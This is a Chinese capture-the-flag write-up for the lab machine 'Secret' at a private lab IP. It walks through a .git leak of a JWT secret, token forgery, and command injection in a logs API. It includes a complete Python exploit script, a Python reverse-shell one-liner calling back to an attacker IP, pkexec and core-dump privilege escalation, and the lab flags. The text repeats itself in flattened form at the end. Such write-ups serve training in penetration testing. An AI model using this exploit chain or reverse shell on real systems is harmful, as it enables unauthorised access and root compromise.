[Meachines] [Easy] Secret DUMB Docs .Git Leak+JWT+RCE+TRP00F权限提升+prctl函数转存储权限提升
字数 1056 2025-08-29 08:30:31

DUMB Docs 渗透测试教学文档

1. 信息收集

1.1 目标识别

  • IP地址: 10.10.11.120
  • 开放端口:
    • 22/tcp: OpenSSH 8.2p1 Ubuntu
    • 80/tcp: nginx 1.18.0 (Ubuntu)
    • 3000/tcp: Node.js (Express middleware)

1.2 服务识别

  • Web服务:
    • 主站点: http://10.10.11.120/
    • Node.js API: http://10.10.11.120:3000/
  • 可下载文件: http://10.10.11.120/download/files.zip

2. 漏洞利用

2.1 .Git信息泄露

  1. 下载并解压files.zip:
    $ unzip files.zip
    
  2. 检查git日志发现敏感信息:
    $ git log -p
    
  3. 发现JWT密钥:
    TOKEN_SECRET: gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
    

2.2 JWT伪造

  1. 分析API端点:

    $ grep -R jwt
    $ cat index.js
    $ grep -R /api/user
    
  2. 发现关键API:

    • 注册: POST /api/user/register
    • 登录: POST /api/user/login
    • 日志查看: GET /api/logs
  3. 利用流程:

    • 注册用户
    • 登录获取JWT
    • 修改JWT中的name字段为"theadmin"
    • 使用泄露的密钥重新签名JWT

2.3 命令注入

  1. 当用户名为theadmin时,文件名参数存在命令注入漏洞
  2. 利用方式:
    GET /api/logs?file=1;command
    

3. 利用工具

3.1 自动化利用脚本

import requests
import jwt
import json
import sys

if len(sys.argv) != 3:
    print(f"Usage: python {sys.argv[0]} <BASE_URL> <COMMAND>")
    sys.exit(1)

BASE_URL = sys.argv[1]
command = sys.argv[2]

HEADERS = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "close",
    "Upgrade-Insecure-Requests": "1",
    "Content-Type": "application/json"
}

# 注册用户
register_data = {
    "name": "maptnh",
    "email": "maptnh@gmail.com",
    "password": "maptnh"
}
register_response = requests.post(f"{BASE_URL}/api/user/register", json=register_data, headers=HEADERS)

# 登录获取JWT
login_data = {
    "email": "maptnh@gmail.com",
    "password": "maptnh"
}
login_response = requests.post(f"{BASE_URL}/api/user/login", json=login_data, headers=HEADERS)

# 伪造JWT
auth_token = login_response.headers.get("auth-token")
decoded_token = jwt.decode(auth_token, options={"verify_signature": False})
decoded_token["name"] = "theadmin"
SECRET_KEY = "gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE"
new_token = jwt.encode(decoded_token, SECRET_KEY, algorithm="HS256")

# 执行命令
get_headers = HEADERS.copy()
get_headers["auth-token"] = new_token
get_response = requests.get(f"{BASE_URL}/api/logs?file=1;{command}", headers=get_headers)
print(get_response.text.strip())

3.2 反向Shell

$ python3 exp.py http://10.10.11.120:3000 "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.16.25\",10031));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn(\"/bin/bash\")'"

4. 权限提升

4.1 获取用户权限

  • 用户flag: da2c7d1f1b155b171c469d4cb20214b6

4.2 TRP00F提权

  1. 使用TRP00F工具:
    $ python3 trp00f.py --lhost 10.10.16.25 --lport 10000 --rhost 10.10.16.25 --rport 10032 --http 9999
    
  2. 选择pkexec漏洞利用

4.3 prctl核心转储提权

  1. 原理:

    • prctl(PR_SET_DUMPABLE, 1)设置后,进程在异常终止时会生成核心转储
    • 适用于设置了SUID/SGID的程序
  2. 利用步骤:

    $ ps -aux | grep count  # 查找目标进程
    $ kill -6 107613  # 发送信号触发核心转储
    $ apport-unpack /var/crash/_opt_count.1000.crash /tmp/res
    $ cat /tmp/res/CoreDump
    
  3. 获取root flag: 2afe145641cd410148ca775633e8584e

5. 关键点总结

  1. 信息泄露:

    • .git泄露导致JWT密钥暴露
    • 源代码审计发现命令注入点
  2. JWT安全:

    • 使用弱密钥(gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE)
    • 可通过修改name字段提升权限
  3. 输入验证:

    • 文件名参数未正确过滤导致命令注入
  4. 权限提升:

    • prctl核心转储技术
    • TRP00F工具利用
DUMB Docs 渗透测试教学文档 1. 信息收集 1.1 目标识别 IP地址: 10.10.11.120 开放端口: 22/tcp: OpenSSH 8.2p1 Ubuntu 80/tcp: nginx 1.18.0 (Ubuntu) 3000/tcp: Node.js (Express middleware) 1.2 服务识别 Web服务: 主站点: http://10.10.11.120/ Node.js API: http://10.10.11.120:3000/ 可下载文件: http://10.10.11.120/download/files.zip 2. 漏洞利用 2.1 .Git信息泄露 下载并解压files.zip: 检查git日志发现敏感信息: 发现JWT密钥: 2.2 JWT伪造 分析API端点: 发现关键API: 注册: POST /api/user/register 登录: POST /api/user/login 日志查看: GET /api/logs 利用流程: 注册用户 登录获取JWT 修改JWT中的name字段为"theadmin" 使用泄露的密钥重新签名JWT 2.3 命令注入 当用户名为theadmin时,文件名参数存在命令注入漏洞 利用方式: 3. 利用工具 3.1 自动化利用脚本 3.2 反向Shell 4. 权限提升 4.1 获取用户权限 用户flag: da2c7d1f1b155b171c469d4cb20214b6 4.2 TRP00F提权 使用TRP00F工具: 选择pkexec漏洞利用 4.3 prctl核心转储提权 原理: prctl(PR_SET_DUMPABLE, 1) 设置后,进程在异常终止时会生成核心转储 适用于设置了SUID/SGID的程序 利用步骤: 获取root flag: 2afe145641cd410148ca775633e8584e 5. 关键点总结 信息泄露: .git泄露导致JWT密钥暴露 源代码审计发现命令注入点 JWT安全: 使用弱密钥(gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE) 可通过修改name字段提升权限 输入验证: 文件名参数未正确过滤导致命令注入 权限提升: prctl核心转储技术 TRP00F工具利用